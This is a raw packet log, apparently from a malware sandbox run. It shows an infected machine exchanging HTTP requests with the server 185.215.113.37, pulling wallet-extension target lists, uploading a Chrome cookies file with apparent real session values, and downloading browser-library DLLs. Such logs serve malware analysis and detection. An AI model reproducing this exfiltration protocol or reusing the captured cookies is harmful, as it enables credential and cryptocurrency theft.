Sep 29, 2024 02:00:04.736531019 CEST	1236	IN	Data Raw: 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 Data Ascii: YW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXw
Sep 29, 2024 02:00:04.736542940 CEST	568	IN	Data Raw: 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 Data Ascii: ayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJ
Sep 29, 2024 02:00:04.738493919 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="message"fplugins------HCGCBFHCFCFBFIEBGHJE--
Sep 29, 2024 02:00:04.965480089 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 29, 2024 02:00:04.984810114 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 185.215.113.37 Content-Length: 6007 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 02:00:04.984858036 CEST	6007	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 29, 2024 02:00:05.720330954 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:06.457004070 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:06.704322100 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 29, 2024 02:00:06.704360962 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 29, 2024 02:00:08.155787945 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAK Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------BGDBKKFHIEGDHJKECAAK--
Sep 29, 2024 02:00:08.913351059 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:09.011646032 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file"------CAEHDBAAECBFHJKFCFBF--
Sep 29, 2024 02:00:10.418699026 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:10.418747902 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:10.418766975 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:11.649597883 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file"------HIJEGIIJDGHDGCBGHCAA--
Sep 29, 2024 02:00:12.797055006 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:12.797194958 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:13.254420042 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:13.477835894 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 29, 2024 02:00:14.322679996 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:14.546822071 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 29, 2024 02:00:15.978904963 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:16.349626064 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 29, 2024 02:00:17.076154947 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:17.299645901 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 29, 2024 02:00:18.850337029 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 29, 2024 02:00:19.075161934 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 29, 2024 02:00:19.400278091 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
